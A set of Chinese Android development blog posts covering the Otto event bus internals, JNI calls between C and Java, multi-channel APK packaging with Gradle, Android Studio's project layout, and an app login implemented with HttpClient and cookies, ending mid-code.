            return method.invoke(target);
        } catch (IllegalAccessException e) {
            throw new AssertionError(e);
        } catch (InvocationTargetException e) {
            if (e.getCause() instanceof Error) {
                throw (Error) e.getCause();
            }

            throw e;
        }
    }
}


其中produceEvent方法用于获得event。可以看出为什么Otto要求produce函数不能有参数。

与EventProducer类似，EventHandler是一个event handler方法（事件回调）的包装类，源码如下：

class EventHandler {

    private final Object target;

    private final Method method;

    private final int hashCode;

    private boolean valid = true;

    EventHandler(Object target, Method method) {
        if (target == null) {
            throw new NullPointerException(
                "EventHandler target cannot be null.");
        }

        if (method == null) {
            throw new NullPointerException(
                "EventHandler method cannot be null.");
        }

        this.target = target;
        this.method = method;
        method.setAccessible(true);

        // Compute hash code eagerly since we know it will be used frequently and we cannot estimate the runtime of the
        // target's hashCode call.
        final int prime = 31;
        hashCode = ((prime + method.hashCode()) * prime) + target.hashCode();
    }

    public boolean isValid() {
        return valid;
    }

    public void invalidate() {
        valid = false;
    }

    public void handleEvent(Object event) throws InvocationTargetException {
        if (!valid) {
            throw new IllegalStateException(toString() +
                " has been invalidated and can no longer handle events.");
        }

        try {
            method.invoke(target, event);
        } catch (IllegalAccessException e) {
            throw new AssertionError(e);
        } catch (InvocationTargetException e) {
            if (e.getCause() instanceof Error) {
                throw (Error) e.getCause();
            }

            throw e;
        }
    }
}


其中handleEvent方法用于在object上调用handle方法（事件回调），传入event对象。可以看出为什么Otto要求event handler函数仅能有一个参数。

dispatchProducerResultToHandler

dispatchProducerResultToHandler方法用于将Producer产生的event分发给对应的handler。源码如下所示：

private void dispatchProducerResultToHandler(EventHandler handler, EventProducer producer) {
    Object event = null;
    try {
        event = producer.produceEvent();
    } catch(InvocationTargetException e) {
        throwRuntimeException("Producer " + producer + " threw an exception.", e);
    }
    if (event == null) {
        return;
    }
    dispatch(event, handler);
}

protected void dispatch(Object event, EventHandler wrapper) {
    try {
        wrapper.handleEvent(event);
    } catch(InvocationTargetException e) {
        throwRuntimeException("Could not dispatch event: " + event.getClass() + " to handler " + wrapper, e);
    }
}


逻辑比较简单，主要是使用了Producer的produceEvent()方法获得event对象后，调用EventHandler的handleEvent()方法。

bus.unregister

Bus类的unregister方法用于解除目标对象和bus之间的关联关系，包括对象上的producer方法，subscriber方法，源码如下所示：

public void unregister(Object object) {
    if (object == null) {
        throw new NullPointerException("Object to unregister must not be null.");
    }
    //1. 检查当前线程是否符合ThreadEnforcer的设置
    enforcer.enforce(this);

    //2. 默认情况下，通过注解在object上找出所有Producer，将其从producersByType中删除并标记为invalidate
    Map<Class<?>, EventProducer> producersInListener = handlerFinder.findAllProducers(object);
    for (Map.Entry<Class<?>, EventProducer> entry : producersInListener.entrySet()) {
        final Class<?> key = entry.getKey();
        EventProducer producer = getProducerForEventType(key);
        EventProducer value = entry.getValue();
        
        if (value == null || !value.equals(producer)) {
            throw new IllegalArgumentException(
            "Missing event producer for an annotated method. Is " + object.getClass() + " registered?");
        }
        producersByType.remove(key).invalidate();
    }
    
    //3. 默认情况下，找出object上用@Subscribe注解了的handler，将其从event集合中删除并标记为invalidate
    Map<Class<?>, Set<EventHandler>> handlersInListener = handlerFinder.findAllSubscribers(object);
    for (Map.Entry<Class<?>, Set<EventHandler>> entry : handlersInListener.entrySet()) {
        Set<EventHandler> currentHandlers = getHandlersForEventType(entry.getKey());
        Collection<EventHandler> eventMethodsInListener = entry.getValue();
        
        if (currentHandlers == null || !currentHandlers.containsAll(eventMethodsInListener)) {
            throw new IllegalArgumentException(
            "Missing event handler for an annotated method. Is " + object.getClass() + " registered?");
        }
        
        for (EventHandler handler : currentHandlers) {
            if (eventMethodsInListener.contains(handler)) {
                handler.invalidate();
            }
        }
        currentHandlers.removeAll(eventMethodsInListener);
    }
}


投递事件

一次简单的事件投递操作如下所示：

bus.post(new AnswerAvailableEvent(42));


我们来看一下post方法的源码实现：

public void post(Object event) {
    if (event == null) {
        throw new NullPointerException("Event to post must not be null.");
    }
    //1. 检查当前线程是否符合ThreadEnforcer的设置
    enforcer.enforce(this);
    
    //2. 向上追溯event的所有父类
    Set<Class<?>>dispatchTypes = flattenHierarchy(event.getClass());
    
    //3. 当前event没有注册handler，则发送一个DeadEvent事件
    boolean dispatched = false;
    for (Class<?>eventType: dispatchTypes) {
        Set<EventHandler> wrappers = getHandlersForEventType(eventType);

        if (wrappers != null && !wrappers.isEmpty()) {
            dispatched = true;
            for (EventHandler wrapper: wrappers) {
                //3-1 将事件和handler放到分发队列里
                enqueueEvent(event, wrapper);
            }
        }
    }
    
    //4. 当前event没有注册handler，则发送一个DeadEvent事件
    if (!dispatched && !(event instanceof DeadEvent)) {
        post(new DeadEvent(this, event));
    }

    //5. 通知队列进行分发操作
    dispatchQueuedEvents();
}


注意几点：


	发送一个Event时，订阅了Event父类的Subscriber方法也会被调用。


	事件会被放到调用者所在线程的队列里依次分发。




下面分点进行详述。

flattenHierarchy

进行post操作时，首先会通过flattenHierarchy方法获得event的父类或者接口：

Set<Class<?>>flattenHierarchy(Class<?>concreteClass) {
    Set<Class<?>>classes = flattenHierarchyCache.get(concreteClass);
    if (classes == null) {
        Set<Class<?>>classesCreation = getClassesFor(concreteClass);
        classes = flattenHierarchyCache.putIfAbsent(concreteClass, classesCreation);
        if (classes == null) {
            classes = classesCreation;
        }
    }
    return classes;
}

private Set<Class<?>> getClassesFor(Class<?> concreteClass) {
    List<Class<?>> parents = new LinkedList<Class<?>>();
    Set<Class<?>> classes = new HashSet<Class<?>>();
    
    parents.add(concreteClass);
    
    //深度优先遍历
    while (!parents.isEmpty()) {
        Class<?> clazz = parents.remove(0);
        classes.add(clazz);
        
        Class<?> parent = clazz.getSuperclass();
        if (parent != null) {
            parents.add(parent);
        }
    }
    return classes;
}


从上可知flattenHierarchy()通过getClassesFor()利用深度优先遍历导出了concreteClass的所有父类。

Dispatch Queue

通过post方法投递的event首先会放在当前线程所在的Dispatch Queue中，然后依次分发。Bus类有如下成员属性：

private final ThreadLocal<ConcurrentLinkedQueue<EventWithHandler>> eventsToDispatch =
    new ThreadLocal<ConcurrentLinkedQueue<EventWithHandler>>() {
        @Override protected ConcurrentLinkedQueue<EventWithHandler> initialValue() {
            return new ConcurrentLinkedQueue<EventWithHandler>();
        }
    };


eventsToDispatch是一个ThreadLocal对象，通过initialValue()方法，eventsToDispatch每次在新的线程上调用的时候都会生成新的ConcurrentLinkedQueue实例。event是通过enqueueEvent(event, wrapper)方法放到queue中的，下面看看enqueueEvent()的实现：

protected void enqueueEvent(Object event, EventHandler handler) {
    eventsToDispatch.get().offer(new EventWithHandler(event, handler));
}


offer()方法会会将EventWithHandler对象放到当前线程的queue的尾部。offer方法和add方法的区别在于，当无法插入（例如空间不够）的情况发生时会发挥false，热不是抛出异常。EventWithHandler类对event和handler的关系进行了简单的包装，实现如下：

static class EventWithHandler {
    final Object event;
    final EventHandler handler;
    
    public EventWithHandler(Object event, EventHandler handler) {
        this.event = event;
        this.handler = handler;
    }
}


接下来看看dispatchQueuedEvents方法的实现：

protected void dispatchQueuedEvents() {
    // don't dispatch if we're already dispatching, that would allow reentrancy and out-of-order events. Instead, leave
    // the events to be dispatched after the in-progress dispatch is complete.
    //1. 不能重复分发，否则会导致event的分发次序混乱
    if (isDispatching.get()) {
        return;
    }

    isDispatching.set(true);
    try {
        while (true) {
            //2. 依次取出EventWithHandler，并通过dispatch方法进行分发。
            EventWithHandler eventWithHandler = eventsToDispatch.get().poll();
            if (eventWithHandler == null) {
                break;
            }

            if (eventWithHandler.handler.isValid()) {
                dispatch(eventWithHandler.event, eventWithHandler.handler);
            }
        }
    } finally {
        isDispatching.set(false);
    }
}


值得注意的是，所有subscribe方法抛出的异常都会在这里捕获，捕获到异常以后event分发过程即停止，直到下一次在该线程上调用post为止。

结构图

综上，Otto的总体结构可用下图表示：

            +-------------------------+
            |Bus(ThreadLocal)         |
            |     +--------------+    |
            |     |EventProducers|    |
            |     |  +-------+   |  register  +-------+
            |     |  |Produce|   <----+-------+Produce|
            |     |  +-------+   |    |       +-------+
            |     |  +-------+   |    |
            |     |  |Produce|   |    |
            |     |  +-------+   |    |
            |     +--------------+    |
            |            |            |
            |          event          |
            |            |            |
 post(event)|    +-------v--------+   |
+----------------> Dispatch Queue |   |
            |    +-------+--------+   |
            |            |            |
            |          event          |
            |            |            |
            |     +------v------+     |
            |     |EventHandlers|     |
            |     | +---------+ |     |
            |     | |Subscribe| |   register  +---------+
            |     | +---------+ <-----+-------+Subscribe|
            |     | +---------+ |     |       +---------+
            |     | |Subscribe| |     |
            |     | +---------+ |     |
            |     +-------------+     |
            |                         |
            +-------------------------+
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引子

对于刚入门的Android开发者来说，JNI是较难掌握的。JNI有一层神秘面纱，让人敬而远之。需要同时掌握C/C++语言与Android应用开发技术也提高了进入门槛。
让我们揭开面纱，由浅入深地学习JNI技术。

JNI是什么

JNI是Java Native Interface的缩写，直译成中文就是Java本地接口。JNI并不是Android特有的技术。在Android之前就在Java中得到广泛应用。Java能做到平台无关是因为运行在虚拟机上，而不同虚拟机在各自平台的实现，大多采用C/C++语言。通过JNI技术，Java代码可以调用C/C++的函数，反过来，C/C++也可以调用Java层的函数。JNI是沟通Java世界与Native世界的桥梁。
<!--more-->

JNI与Android

JNI在Android开发中占有重要地位。
大家都知道Android系统的四层结构。


	最底层是Linux内核层。


	第二层Native层包括了运行时库和其他动态库，比如OpenGL ES，WebKit库等，都是用C或C++写的。


	再上一层系统框架层是使用Java写的，它与Native层的交互，就大量使用了JNI技术，比如文件操作和socket操作等。


	在最上层应用层，NDK开发组件使得开发者可以使用C++来编写核心算法，提高性能和代码复用性。应用需要使用到Android平台特性的地方，通过JNI来与Java层沟通，调用Android系统库提供的、Java语言编写的API，比如播放音乐视频，获取用户地理位置信息或者发送短信。




我们用JNI来做什么

目前，市面上大部分手机游戏由于性能和跨平台的考虑，核心部分使用C/C++语言编写。而且，开发过程中或多或少会使用到开源库或游戏引擎，包括渲染引擎，物理引擎和音乐音效引擎等，它们大都使用C/C++编写。在制作Android平台的版本时，前端与手机特性相关的功能使用Java语音编写。两部分交互时需要使用JNI技术。

JNI开发流程

这里介绍我们平时常用的，在C++部分调用Java方法的场景。假设我们的游戏需要获取用户当前的地理位置信息，用来匹配附近玩家。获取地理位置信息需要从Android的LocationManager中获取，匹配工作在C++代码中完成。

直接上代码

MainActivity.java

package com.samxu.hello_jni;
public class MainActivity extends Activity {
    public LocationUtil locationUtil;
    public LocationManager mLocationManager;
    public Button button1;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        // Get a reference to the LocationManager object.
        mLocationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
        locationUtil = new LocationUtil();
        locationUtil.mLocationManager = mLocationManager;

        //调用Native方法stringFromJNI()
        Log.v("hello_jni", stringFromJNI());

        button1 = (Button) findViewById(R.id.button1);
        button1.setOnClickListener(new OnClickListener() {
            @Override
            public void onClick(View v) {
                //调用Native方法callSetupFromJNI()
                Log.v("hello_jni", callSetupFromJNI());
            }
         });
    }
    public native String stringFromJNI();
    public native String callSetupFromJNI();

    static {
        System.loadLibrary("hellojni"); //加载JNI库
    }
}


LocationUtil.java

package com.samhxu.hello_jni;

public class LocationUtil {
    public LocationManager mLocationManager;
    private Location mLocation;

    public void setup() {
        Log.v("hello_jni", "initial setup");
        //init location
        mLocation = requestUpdatesFromProvider(LocationManager.GPS_PROVIDER);
    }
    public String getLocation() {
        return mLocation.getLatitude() + "," + mLocation.getLongitude();
    }
    private final LocationListener listener = new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            // A new location update is received.  Do something useful with it.  Update the UI with 
            // the location update.
            mLocation = location;
        }
        //.......other override methods omitted
    };

    private Location requestUpdatesFromProvider(final String provider) {
        Location location = null;
        if (mLocationManager.isProviderEnabled(provider)) {
            mLocationManager.requestLocationUpdates(provider, TEN_SECONDS, TEN_METERS, listener);
            location = mLocationManager.getLastKnownLocation(provider);
        } else {
            //Toast.makeText(this, errorResId, Toast.LENGTH_LONG).show();
        }
        return location;
    }
}


hello_jni.c

#include <string.h>
#include <jni.h>

jmethodID g_setupID = 0;
jfieldID g_locationUtilID = 0;
jobject g_locationUtil = 0;
jmethodID g_getLocaitonID = 0;

jstring Java_com_samhxu_hello_1jni_MainActivity_stringFromJNI( JNIEnv* env, jobject thiz ){
    jclass clazz = (*env)->FindClass(env, "com/samhxu/hello_jni/LocationUtil");
    //jobject locationUtil = getInstance(env, clazz);
    g_setupID = (*env)->GetMethodID(env, clazz, "setup", "()V");
    g_getLocaitonID = (*env)->GetMethodID(env,clazz, "getLocation", "()Ljava/lang/String;");
    jclass mainClazz = (*env)->FindClass(env, "com/samhxu/hello_jni/MainActivity");
    g_locationUtilID = (*env)->GetFieldID(env, mainClazz, "locationUtil", "Lcom/samhxu/hello_jni/LocationUtil;");
    jobject _locationUtil = (*env)->GetObjectField(env,thiz, g_locationUtilID);
    g_locationUtil = (*env)->NewGlobalRef(env, _locationUtil);

    (*env)->CallVoidMethod(env, g_locationUtil, g_setupID );

    return (*env)->NewStringUTF(env, "Hello from JNI !");
}

jstring Java_com_samhxu_hello_1jni_MainActivity_callSetupFromJNI( JNIEnv* env, jobject thiz ){
    jstring location = (jstring) (*env)->CallObjectMethod(env, g_locationUtil, g_getLocaitonID, NULL);
    return location;
}


Android.mk

#LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE    := hellojni
LOCAL_SRC_FILES := src/hello_jni.c
include $(BUILD_SHARED_LIBRARY) 


代码分析

项目怎样搭建起来，网上有很多资料，就不再赘述。我们只分析上述代码的要点。

Java代码中，System.loadLibrary("hellojni");加载了JNI库。System.loadLibrary("libname")用来加载Android.mk中定义的Module库名。public native String stringFromJNI();声明了native函数，native关键字表示函数由JNI层来实现。
C代码中，实现了两个native函数。对于函数命名规则，我们采用了较为简单的静态注册法，即Java_PackageName_ClassName_MethodName,这样Java就能找到对应的native方法，并建立对应关系。在两个JNI方法中，参数列表都包含了JNIEnv*和jobject，返回值都为jstring。JNIEnv是JNI环境指针，后面会有详细表述。jobject是Java层调用方的对象类型，thiz表示由哪个对象来调用该函数。返回值类型jstring表示在Java层是String类型。数据类型的对应关系，可见下一小节。

JNI数据类型

Java中的数据类型和JNI的数据类型存在一种对应关系。JNI的数据类型在jni.h中可以找到定义。
下面的表可以概括：



	Java类型
	本地类型
	JNI中定义的别名



	int
	long
	jint



	long
	_int64
	jlong



	byte
	signed char
	jbyte



	boolean
	unsigned char
	jboolean



	char
	unsigned short
	jchar



	short
	short
	jshort



	float
	float
	jfloat



	double
	double
	jdouble



	Object
	_jobject*
	jobject





<<图>>

JNIEnv介绍

JNIEnv可以说是JNI中的主角。JNIEnv是与线程相关的代表JNI环境的结构体。每个线程都有一份JNIEnv。在使用时，应稍加注意线程一致性。本文不详细展开。
JNIEnv提供了一系列JNI系统函数，可以用来调用Java函数或者操作jobject对象等。操作jobject对象，实质上就是操作该对象的成员变量和成员方法。
JNIEnv获取对象的成员变量和成员方法的两个函数：
jfieldID GetFieldID(jclass clazz, const char* name, const char* sig);
jmethodID GetMethodID(jclass clazz, const char* name, const char* sig);
有了成员变量的句柄，我们就可以对成员变量进行get和set操作。
NativeType Get<type>Field(JNIEnv* env, jobject obj, jfieldID fieldID);
void Set<type>Field(JNIEnv* env, jobject obj, jfieldID fieldID, NativeType value);
有了成员方法的句柄，我们可以进行函数调用。
NativeType Call<type>Method(JNIEnv* env, jobject obj, jmethodID methodID, … );
对于静态方法，则使用CallStatic<type>Method系列方法。
NativeType CallStatic<type>Method(JNIEnv* env, jobject obj, jmethodID methodID, … );

jstring使用

stringFromJNI方法的最后一行，return (*env)->NewStringUTF(env, "Hello from JNI")用来返回一个C的字符串。
JNI中的jstring对应Java的String。而在C/C++中的string是另一种类型。两者的构成方式和属性完全不同。JNIEnv的NewStringUTF方法会把native的一个UTF-8字符串转换而得到一个jstring对象。这样就可以被Java层识别了。

JNI类型签名

看到前面的GetMethodID的最后一个参数，表示方法的参数和返回值。一定觉得这种表现形式奇怪吧。其实是根据转换规则来构成的。

基础类型的JNI描述符



	JNI字段描述符
	java编程语言



	Z
	boolean



	B
	byte



	C
	char



	S
	short



	I
	int



	J
	long



	F
	float



	D
	double





一个引用类型的签名，例如java.lang.String，由L字母开头，并且以分号结束，包名”java.lang.String“中的”.“被”/“替换。所以java.lang.String被表示为：”Ljava/lang/String;"
下表提供了一个关于如何格式话方法描述符的完整的描述：



	方法描述符
	java语言类型



	"()Ljava/lang/String"
	String f();
 


	"(ILjava/lang/Class)J"
	long f(int i, Class c);



	"([B)v"
	void f(byte[ ] bytes);





括号中的表示参数列表，括号后跟着返回值类型。

引用与资源回收

我们知道Java中创建的对象会由垃圾回收器来回收和释放对象。
·jobject g_locationUtil·是一个引用对象，在声明的scope结束时会被释放。stringFromJNI方法中g_locationUtil = (*env)->NewGlobalRef(env, _locationUtil)就是来解决这个问题的。这样，在callSetupFromJni方法中使用g_locationUtil的时候，就不会有问题。

小结

本文结合Android开发中使用JNI的实际问题，主要介绍了JNI的相关内容。想要全面了解JNI的知识，还需要认真阅读JDK文档中关于< < Java Native Interface Specification > >部分和Android开发文档中NDK开发部分，并结合大量实际使用。
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每次中午吃饭总会和技术同学聊天。当做 iOS 开发的做安卓开发的人员在一起的时候，他们中间又多了一个话题：iOS 开发难还是安卓开发难。

这个时候做安卓开发的同学最激动说安卓开发要自己画界面、机型复杂、操作系统多 rom 又被各家改的四不像....开发一个安卓 APP 的时间将近是开发 iOS 所需时间的 2 倍。iOS 开发的同学可能就会反驳说 iOS 开发入门难度比安卓高，开发中第三方库不像安卓那么多，开发设备又必须是 MAC，而安卓随便一台 PC 即可...笔者认为，这个问题因人而异，不想再引起一场争论。其实，今天想说的是，安卓开发中还有一件事情比较痛苦那就是打包。

做过 APP 开发的人都知道安卓的渠道林立，笔者记得曾经工作的一家公司每次发包都要运行脚本去打包，每次打几百个 APK，花费几个小时，电脑都累的风扇呼呼叫。而 iOS 由于其封闭性，渠道除了 AppStore 之外几乎很少了。所以，安卓 APP 开发之后要把 APP 分发出去要做的事情要比 iOS 多这个是一定的。这篇文章咱们就和做安卓开发的同学聊一下安卓 APP 多渠道打包的事情。

APP多渠道打包原理讲解

要多渠道打包，我们就来说一下渠道如何标识。一般来说渠道标识有两个地方可以做：
1、在代码中写，例如 TalkingData 就提供了这种方式

//启动代码
init(final Context context, final String appId,  final String partnerId);
//这种方式不需要在 AndroidManifext.xml 里的 meta-data 申明了 TD_APP_ID 和 TD_CHANNEL_ID

2、在 AndroidManifext.xml 中填写，还拿 TalkingData 举例子

//启动代码
init(final Context context);
//这种方式可以使用多渠道打包工具，方便一次打包多个发布渠道

//AndroidManifext.xml中这样写
<meta-data android:name="TD_CHANNEL_ID" android:value="Your_channel_id" />

如果是单独打一个 APP 包加上上面的配置直接 IDE 中导出 APK 就行了，如果打很多个 APK 用 IDE 就很费力。 要想多渠道打包，就需要对 Android 的整体的打包编译过程有所了解。下面认识下 Android 的 java 代码、XML 格式的资源文件、图片文件等资源是如何转换成为一个 APK 的。




大家从图中可以看出，大体分为以下 7 个大步：
1、打包资源文件，生成 R.java 文件
2、处理 aidl 文件，生成相应 java 文件
3、编译工程源代码，生成相应 class 文件
4、转换所有 class 文件，生成 classes.dex 文件
5、打包生成 apk
6、对 apk 文件进行签名
7、对签名的 apk 进行 zipalign 对其操作

说明：这里只是大致表明大致的打包编译过程，其实如果细分每一部分还有很多细节。

结合原理和渠道的 1、2 两种设置方法我们分别来说.

1、如果渠道信息是通过 Java 的硬编码方式来做的，我们可以在打包之前预处理 Java 源文件，找到渠道设置关键字，从渠道列表中找到一个渠道设置进去即可。由于脚本这块儿，不同的语言的实现方式不同，这里不做过多的说明。如果有需要的我可以把自己之前 shell 写的一段代码分享了。



2、如果使用写在 AndroidManifext.xml 中，这个就可以通过读取 XML 文件的方式定位到 meta-data 并且 android:name 的值为 TD_CHANNEL_ID 的元节点。把这个元节点的值设置成某一个渠道即可。这里推荐大家看一下友盟开源的一个多渠道打包工具中有相关的实现细 [1]。这个过程发生在上图中的 aapt 阶段，这个阶段做的事情还比较多没有分来来说。



大致原理就是这样，其实也很简单~，就是在正常的 Android 打包编译过程中进行干涉，加入一些逻辑来替换相关的渠道信息，保证打包之后的 APK 中的渠道信息各不相同。
其实这个过程是这样的:

说明：图片来源网络

然后编写脚本或者工具来循环的这个过程....

Android Studio多渠道打包

Android Studio 发布已经好长时间了，Google 也一直在维护在更新，Android 开发的小伙伴你们用起来了吗？听说身边做开发的很多都转向了这个神器。这里，我们就重点说一下如何在 Android  Studio 中实现多渠道打包，后续给出一个 Demo来做演示，笔者觉得这样更实用。
第一步在 AndroidManifext.xml 中配置渠道



   <meta-data android:name="TD_CHANNEL_ID" android:value="${ONEAPM_TEST_CHANNEL}" />

第二步，在 APP 下的 build.gradle 中添加



   productFlavors {
        wandoujia{}
        "1234Test"{}
        "1test111"{}
    }
    
    productFlavors.all {
        flavor -> flavor.manifestPlaceholders = [ONEAPM_TEST_CHANNEL: name]
    }
    

解释：productFlavors 类似于一个产品的不同特性的配置[2]. productFlavors.all 是一个遍历，每一个 productFlavors 中的值，其中productFlavors 的每一个值都有一个 name ，就是类似 wandoujia 这样的字符，每次循环的时候会替换掉 AndroidManifext.xml 中的${ONEAPM_TEST_CHANNEL}。
第三步，执行打包命令
打开命令行定位到 project 目录，执行

  gradlew assembleRelease


不出意外的话 bulid->outputs->apk 下面会有各个渠道的包，如下图




注意事项：
1、productFlavors 定义的时候里面的类似 wandoujia，不能是数字开头，不能是关键字 test 等，因为你要意识到你在写 gradle 脚本，要符合 groovy 语法。如下面的就不合法

2、flavor.manifestPlaceholders = [ONEAPM_TEST_CHANNEL: name]中的ONEAPM_TEST_CHANNEL 一定要和 AndroidManifext.xml 定义的一致。



打包发布之后还要做什么

开发者花费了很大的心血做出一款 APP 为的就是希望这款 APP 产生它应有的价值。所以我们会集成一些统计例如友盟、talking data，有了它每日活跃、新增、留存就有地方看了，这个估计每个开发者都会做。单更重要的是，我们做出的 APP 要保证在每台手机都能正常的打开和使用，特别是在 APP 同质化越来越严重的今天，你要保证 APP 能够脱颖而出就要保证 APP 稳定，所以我们可以顺手添加以下 OneAPM[3] 就能监控到应用程序运行缓慢、ANR、Crash、WebView、Activity、网络请求等方面的性能，能让开发者第一时间掌握 APP 监控状况。更让人喜欢的是，这款产品只需开发者填入一行代码即可，真可谓是「神器」。



OneAPM Mobile Insight 以真实用户体验为度量标准进行 Crash 分析，监控网络请求及网络错误，提升用户留存。访问 OneAPM 官方网站感受更多应用性能优化体验，想阅读更多技术文章，请访问 OneAPM 官方技术博客。

本文转自 OneAPM官方技术博客
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应各位朋友的要求，写这篇文章，让我们来简单了解下Android Studio中不同目录（文件）的位置和用途。

首先看下一个App的最简单的目录结构




【= = 好复杂的样子】


OK，我们这么看，第一，把这么多文件先分成这么三块

1. 编译系统（Gradle）

2. 配置文件

3. 应用模块


Gradle是Google推荐使用的一套基于Groovy的编译系统脚本（当然，你也可以使用ant），具体的介绍和文档可以参考这个传送门：https://developer.android.com/tools/building/plugin-for-gradle.html

如果你学会之后，会对Android项目的编译了如指掌（总之非常爽~），它的缺点目前是效率不高，然后因为有功夫网的存在，所以在bintray上下载依赖会比较慢。


上面那个图中出现gradle字眼的就是gradle相关的一些文件。

Android中使用Gradle Wrapper对Gradle进行了一层包装，我猜测这么做的原因是因为gradle更新速度实在太快，为了兼容性着想，才出了这么一套方案。（如果觉得这个猜想有问题请指正）
gradlew相关的文件就是和Gradle Wrapper有关。我们对除了app文件夹以外的文件列一下。




	文件（夹）名
  	用途





	.gradle
  	Gradle编译系统，版本由wrapper指定



	.idea
  	Android Studio IDE所需要的文件



	build
  	代码编译后生成的文件存放的位置



	gradle
  	wrapper的jar和配置文件所在的位置



	.gitignore
  	git使用的ignore文件



	build.gradle
  	gradle编译的相关配置文件（相当于Makefile）



	gradle.properties
  	gradle相关的全局属性设置



	gradlew
  	*nix下的gradle wrapper可执行文件



	graldew.bat
  	windows下的gradle wrapper可执行文件



	local.properties
  	本地属性设置（key设置，android sdk位置等属性），这个文件是不推荐上传到VCS中去的



	settings.gradle
  	和设置相关的gradle脚本





这些就是外部文件相关的一些文件的介绍。我们来看下更重要的app模块里的文件




这是app模块下的文件目录结构，介绍下他们的用途




	文件（夹）名
  	用途





	build
  	编译后的文件存在的位置（包括最终生成的apk也在这里面）



	libs
  	依赖的库所在的位置（jar和aar)



	src
  	源代码所在的目录



	src/main
  	主要代码所在位置（src/androidTest)就是测试代码所在位置了



	src/main/assets
  	android中附带的一些文件



	src/main/java
  	最最重要的，我们的java代码所在的位置



	src/main/jniLibs
  	jni的一些动态库所在的默认位置(.so文件)



	src/main/res
  	android资源文件所在位置



	src/main/AndroidManifest.xml
  	AndroidManifest不用介绍了吧~



	build.gradle
  	和这个项目有关的gradle配置，相当于这个项目的Makefile，一些项目的依赖就写在这里面



	proguard.pro
  	代码混淆配置文件





以上就是对Android Studio目录结构的简单介绍~


有问题可以直接留言，我会尽快回复。



  欢迎关注我Github 以及 @Gemini




 Android利用Cookie实现码源登录效果

作者：BicycleWarrior

来源： Android利用Cookie实现码源登录效果



                    
上一篇讲了界面的实现，详情请戳Android利用Cookie实现码源登录效果（一） - 界面实现，本篇将对功能的实现进行分析。


具体实现




功能实现



	
使用HttpClient进行post请求

在进行post请求的时候，我们先看看网页版登录是如何发送数据的。



打开登录页面，点击键盘上的F12，在Sources中找到login，找到发送ajax请求进行登录的部分，加入断点：



点击登录，然后在Network中看到有个发送到http://www.codefrom.com/login/ajax 的网络请求，点开它，我们看看Header里面有什么数据：



可以看到，有三部分数据：Request URL 、 Request Header 和 Form Data，他们的含义我想大家应该都很清楚。那么我们就尝试在LoginActivity中模拟一下这个操作。


首先，我们写一个方法，封装我们的登录请求：


javapublic String sendPost(String url, String username, String password) {
    // 根据url获得HttpPost对象
    HttpPost httpRequest = new HttpPost(url);
    // 取得默认的HttpClient
    DefaultHttpClient httpclient = new DefaultHttpClient();
    String strResult = null;
    // NameValuePair实现请求参数的封装
    List<NameValuePair> params = new ArrayList<NameValuePair>();
    params.add(new BasicNameValuePair("_tk", "codefrom"));
    params.add(new BasicNameValuePair("name", username));
    params.add(new BasicNameValuePair("pass", password));
    httpRequest.addHeader("Accept", "application/json, text/javascript, */*; q=0.01");
    httpRequest.addHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
    httpRequest.addHeader("Origin", "http://www.codefrom.com");
    httpRequest.addHeader("Referer", "http://www.codefrom.com/login");
    httpRequest.addHeader("X-Requested-With", "XMLHttpRequest");
    try {
        // 添加请求参数到请求对象
        httpRequest.setEntity(new UrlEncodedFormEntity(params, HTTP.UTF_8));
        // 获得响应对象
        HttpResponse httpResponse = httpclient.execute(httpRequest);
        // 判断是否请求成功
        if (httpResponse.getStatusLine().getStatusCode() == 200) {
            // 获得响应返回Json格式数据
            strResult = EntityUtils.toString(httpResponse.getEntity());
            return strResult;
        } else {
            strResult = "错误响应:" + httpResponse.getStatusLine().toString();
        }
    } catch (ClientProtocolException e) {
        strResult = "错误响应:" + e.getMessage().toString();
        e.printStackTrace();
        return strResult;
    } catch (IOException e) {
        strResult = "错误响应:" + e.getMessage().toString();
        e.printStackTrace();
        return strResult;
    } catch (Exception e) {
        strResult = "错误响应:" + e.getMessage().toString();
        e.printStackTrace();
        return strResult;
    }
    return strResult;
}



（注：当前版本网络请求只能异步操作）

 然后，在UserLoginTask的doInBackground中，当睡眠结束后，我们对登录方法进行调用：


javaString res = sendPost("http://www.codefrom.com/login/ajax", mEmail, mPassword);
Log.d("CodeFromLogin", res);



我们运行项目，看看日志中打印：



没错，将Unicode转成中文之后，得到“操作成功”的返回信息！

需要注意一点，一开始，我没有添加httpRequest.addHeader这部分的内容，得到的结果如下：


感兴趣的同学可以尝试一下，服务器返回提示我们操作失败，缺少ajax头部信息！



	
保存来自服务器的Cookie

能够成功发送数据给服务器，并且服务器能响应结果，那么，我们能否获取更多内容呢？当然可以！HttpClient提供了下面的方法供我们获取Cookie：


java// 取得Cookie
CookieStore mCookieStore = httpclient.getCookieStore();
List<Cookie> cookies = mCookieStore.getCookies();



那么，Android又是如何对Cookie进行管理的呢？


java// 设置cookie
public static void synCookies(Context context, String url) {  
    CookieSyncManager.createInstance(context);  
    CookieManager cookieManager = CookieManager.getInstance();  
    cookieManager.setCookie(url, "uid=1243432");              
    CookieSyncManager.getInstance().sync();  
}

// 清除cookie
private void removeCookie(Context context) {
    CookieSyncManager.createInstance(context);  
    CookieManager cookieManager = CookieManager.getInstance(); 
    cookieManager.removeAllCookie();
    CookieSyncManager.getInstance().sync();  
}



接下来，我们就可以对sendPost方法进行一些改造了：


javapublic CookieManager cookieManager = null;
public static String cookies;
public String sendPost(String url, String username, String password) {
  CookieSyncManager.createInstance(LoginActivity.this);
  // 每次登录操作的时候先清除cookie
  removeAllCookie();
  // 根据url获得HttpPost对象
  HttpPost httpRequest = new HttpPost(url);
  // 取得默认的HttpClient
  DefaultHttpClient httpclient = new DefaultHttpClient();
  String strResult = null;
  // NameValuePair实现请求参数的封装
  List<NameValuePair> params = new ArrayList<NameValuePair>();
  params.add(new BasicNameValuePair("_tk", "codefrom"));
  params.add(new BasicNameValuePair("name", username));
  params.add(new BasicNameValuePair("pass", password));
  httpRequest.addHeader("Accept", "application/json, text/javascript, */*; q=0.01");
  httpRequest.addHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
  httpRequest.addHeader("Origin", "http://www.codefrom.com");
  httpRequest.addHeader("Referer", "http://www.codefrom.com/login");
